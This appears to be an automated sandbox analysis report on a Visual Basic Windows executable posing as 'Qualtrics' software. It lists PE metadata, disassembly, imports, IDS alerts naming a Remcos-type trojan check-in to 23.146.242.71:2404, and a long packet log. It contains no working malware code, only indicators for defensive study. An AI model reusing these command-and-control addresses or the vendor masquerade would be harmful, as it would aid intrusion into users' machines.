SSDEEP:	3072:hTp6q3h21cWcznuYnl8AFZ6qnQaanfrMjVJK5T:hT7t6YlLZ66w/
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L....m.R.....................0......`.............@................

File Icon


Icon Hash:	20047c7c70f0e004

Static PE Info

General
Entrypoint:	0x401460
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x52BD6D88 [Fri Dec 27 12:07:36 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	831c9926df4754b736e1ca092f4fb7e7

Entrypoint Preview

Instruction
push 00401608h
call 00007FD1589ADC33h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [7341F08Eh+esi], dh
iretd
inc edx
adc byte ptr [edx-57h], FFFFFFF3h
cmpsd
mov dl, 57h
mov eax, dword ptr [00000000h]
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
pushad
insd
and al, byte ptr [ebx]
insd
jne 00007FD1589ADCB4h
jc 00007FD1589ADCB3h
jne 00007FD1589ADCB5h
add byte ptr [ecx+00h], al
and byte ptr [eax], cl
inc ecx
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
int3
xor dword ptr [eax], eax
add esp, dword ptr [ecx+edi*8+56852A7Dh]
out dx, eax
dec esp
mov al, byte ptr [ebx]
bound eax, dword ptr [ebp]
and dword ptr [eax+63409490h], edi
lea ebx, dword ptr [ebp+39h]
int AEh
inc edx
mov bh, 4Fh
pushfd
sbb al, A7h
insd
push ecx
call 00007FD18C482B7Fh
cdq
iretw
adc dword ptr [edi+00AA000Ch], esi
pushad
rcl dword ptr [ebx+00000000h], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
cmpsb
add byte ptr [eax], al
add byte ptr [edi+00h], al
add byte ptr [eax], al
add byte ptr [ebx], cl
add byte ptr [eax+72h], dl
outsd
jnc 0000DCB7h
imul ebp, dword ptr [edi+6Eh], 010D0037h
pop es
add byte ptr [eax+65h], cl
popad

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2a204	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2d000	0xc02	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x198	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29854	0x2a000	False	0.509759812128	data	6.93605268847	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x2b000	0x11e8	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2d000	0xc02	0x1000	False	0.254638671875	data	3.22755332063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
CUSTOM	0x2d9a8	0x25a	ASCII text, with CRLF line terminators	English	United States
RT_ICON	0x2d878	0x130	data
RT_ICON	0x2d590	0x2e8	data
RT_ICON	0x2d468	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x2d438	0x30	data
RT_VERSION	0x2d1a0	0x298	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaAryMove, __vbaLenBstr, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaStrCat, __vbaSetSystemError, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaCyStr, __vbaVarTstLt, _CIsin, __vbaErase, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, __vbaVarTstEq, __vbaR4Str, __vbaI2I4, __vbaObjVar, DllFunctionCall, _adj_fpatan, __vbaRedim, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaFpCmpCy, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, _CIlog, __vbaErrorOverflow, __vbaFileOpen, __vbaNew2, __vbaVar2Vec, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaVarAdd, __vbaVarDup, __vbaStrToAnsi, _CIatan, __vbaStrMove, __vbaCastObj, _allmul, __vbaLateIdSt, _CItan, _CIexp, __vbaFreeStr, __vbaFreeObj

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	Profylaktiskes
FileVersion	1.04
CompanyName	Qualtrics
Comments	Qualtrics
ProductName	Qualtrics
ProductVersion	1.04
FileDescription	Qualtrics
OriginalFilename	Profylaktiskes.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/27/21-14:57:21.980451	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	49557	8.8.8.8	192.168.2.5
09/27/21-14:57:23.162775	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	61733	8.8.8.8	192.168.2.5
09/27/21-14:57:23.278830	TCP	2032776	ET TROJAN Remocs 3.x Unencrypted Checkin	49753	2404	192.168.2.5	23.146.242.71
09/27/21-14:57:23.563331	TCP	2032777	ET TROJAN Remocs 3.x Unencrypted Server Response	2404	49753	23.146.242.71	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 14:57:22.035547018 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.147857904 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.148011923 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.149102926 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.262342930 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.262448072 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.262506962 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.262557030 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.262597084 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.262604952 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.262681007 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376322985 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376432896 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376482964 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376502037 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376530886 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376543999 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376545906 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376599073 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376615047 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376648903 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376666069 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376697063 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376745939 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376753092 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376779079 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376785040 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376842976 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.489320040 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489356041 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489379883 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489418983 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489445925 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489567041 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.489589930 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489614964 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489635944 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489648104 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.489654064 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489670992 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489700079 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489721060 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489734888 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.489734888 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489835024 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.491549969 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.491578102 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.491594076 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.491614103 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.491626978 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.491794109 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602108955 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602171898 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602189064 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602288008 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602313995 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602380991 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602407932 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602417946 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602422953 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602515936 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602535009 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602546930 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602560997 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602572918 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602621078 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602705956 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602726936 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602746010 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602761984 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602801085 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602880001 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602957010 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602976084 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602992058 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603053093 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.603125095 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.603166103 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603210926 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603235006 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603256941 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603265047 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.603275061 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603297949 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603313923 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603341103 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.603425026 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.604068041 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604100943 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604123116 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604156971 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604171038 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.604235888 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.604310989 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604329109 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604352951 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604371071 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604384899 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604399920 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.604463100 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.717629910 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717673063 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717693090 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717713118 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717732906 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717753887 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717777014 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717794895 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.717803001 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717820883 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717838049 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717854023 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717870951 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717888117 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717904091 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717907906 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.717920065 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717941046 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717958927 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717969894 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.717976093 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.717992067 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718009949 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718024015 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.718024969 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718043089 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718060970 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718086004 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718106031 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.718123913 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718147993 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718161106 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.718166113 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718174934 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718188047 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718199968 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718200922 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.718211889 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718225002 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718246937 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718262911 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.718267918 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718285084 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718306065 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718318939 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.718328953 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718357086 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718360901 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.718383074 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718398094 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.718400955 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718415022 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.718462944 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.720727921 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.720762014 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.720833063 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.720906973 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.721112013 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721147060 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721230984 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.721257925 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.721290112 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721311092 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721329927 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721348047 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721370935 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721396923 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721419096 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721442938 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721462965 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721487045 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721508026 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721528053 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721549034 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721561909 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.721570969 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721591949 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721612930 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721626043 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.721633911 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721652985 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.721679926 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.831367016 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831412077 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831439018 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831475973 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831501961 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831521034 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831696987 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831723928 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831763983 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831763029 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.831794024 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.831799030 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.831806898 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.831813097 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831888914 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831903934 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.831914902 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.831933022 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831964970 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.831970930 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.831996918 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832025051 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832030058 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.832041025 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.832065105 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832106113 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832109928 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.832130909 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832154989 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832185030 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832209110 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832223892 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.832231998 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832241058 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.832245111 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.832259893 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832284927 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832284927 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.832335949 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.832390070 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832459927 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832459927 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.832485914 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832555056 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.832590103 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832616091 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832642078 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832667112 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832690954 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832716942 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832745075 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832815886 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832875967 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832900047 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.832926035 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833013058 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833051920 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833467960 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833493948 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833515882 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833547115 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833571911 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833592892 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.833621979 CEST	80	49752	23.146.242.85	192.168.2.5
